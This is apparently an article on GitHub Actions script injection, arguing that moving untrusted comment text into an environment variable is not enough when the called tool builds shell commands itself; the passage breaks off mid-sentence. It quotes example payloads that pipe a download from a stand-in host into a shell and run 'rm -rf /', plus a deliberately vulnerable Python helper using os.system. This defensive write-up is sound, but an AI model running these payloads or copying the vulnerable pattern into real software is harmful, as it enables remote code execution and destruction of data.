The Misleading Fix for GitHub Actions Script Injection
Many guides and security advisories addressing script injection vulnerabilities in GitHub Actions conclude with a seemingly straightforward solution: move the user-supplied input from a direct `run` command argument to an environment variable. The typical scenario involves parsing comments on pull requests or issues, where malicious actors can inject commands disguised as harmless text. A common pattern shows a `run` step like this:
- run: helper-cli --prompt "${{ github.event.comment.body }}"
The danger here is that GitHub Actions runners expand expressions like ${{ github.event.comment.body }} before the shell, like Bash, ever sees the input. If a comment contains something like "; curl evil.com/malware | sh; ", the runner will execute the entire string, including the malicious commands, using the context and potentially sensitive tokens available to the workflow.
The proposed fix involves using an environment variable:
- env:
BODY: ${{ github.event.comment.body }}
run: helper-cli --prompt "$BODY"
This approach appears to isolate the user input within the environment variable BODY, which is then passed to the helper-cli command. The assumption is that the shell will now treat $BODY as a single argument, preventing shell metacharacters like semicolons or pipes from being interpreted by the shell itself. However, this widely adopted fix is fundamentally flawed because it doesn't address how the target application, helper-cli in this example, processes its input.
Why the Environment Variable Fix Fails
The critical misunderstanding lies in where the injection is being prevented. The environment variable method successfully prevents the shell from interpreting malicious commands injected into the input. The expression ${{ github.event.comment.body }} is evaluated by the GitHub Actions runner, and its value is assigned to the BODY environment variable. When the run command executes, the shell sees helper-cli --prompt "...", and the shell does not interpret the contents of $BODY as separate commands. This is a valid mitigation against shell injection.
However, the vulnerability shifts from shell injection to argument injection or command injection within the application. If the helper-cli tool itself is not designed to safely handle potentially malicious strings passed as arguments, it can still be exploited. Imagine helper-cli internally uses a function that constructs a new shell command based on the arguments it receives. If helper-cli is written in a language like Python or Node.js and uses functions like os.system() or child_process.exec() without proper sanitization or parameterization, the injected string can still lead to command execution.
Consider this simplified Python example of a vulnerable helper-cli:
import os
import sys
prompt_text = sys.argv[2] # Assumes --prompt argument is always second
command_to_run = f"echo Processing: {prompt_text}"
os.system(command_to_run)
If the BODY environment variable contains hello; rm -rf /, the command_to_run string becomes echo Processing: hello; rm -rf /. The os.system() call will execute this combined command, leading to the deletion of files. The shell injection was prevented, but the application's internal use of the argument led to a command injection vulnerability.
The core issue is that developers often assume that if the shell isn't the vector, the input is safe. This is a dangerous assumption. Any time user-supplied input is used to construct commands, execute external processes, or interact with system resources, rigorous sanitization and validation are necessary, regardless of whether it's passed via command-line arguments or environment variables.
The Real Solution: Input Validation and Sanitization
The only robust way to prevent these kinds of injection attacks is to treat all external input as potentially hostile and validate/sanitize it thoroughly within the application that consumes it. For the helper-cli example, this means:
- Allowlisting: Define exactly what characters or patterns are permitted in the input and reject anything else. For instance, if the prompt is expected to be plain text, only allow alphanumeric characters, spaces, and basic punctuation.
- Input Encoding/Escaping: If the application must construct shell commands internally, it must use language-specific, secure methods for passing arguments to subprocesses. This typically involves using functions that treat arguments as distinct entities rather than interpolating them into a command string. For example, in Python,
subprocess.run()withshell=Falseand passing arguments as a list is generally safer. - Least Privilege: Ensure the GitHub Actions runner executing the workflow has the minimum necessary permissions. Revoke sensitive tokens or access if they are not strictly required for the workflow's operation.
The common advice to simply move input to an environment variable is akin to moving a leaky pipe from one wall to another; the leak persists if the pipe itself isn't repaired. Developers must look deeper into how their applications interpret and use external data. An injection that has merely
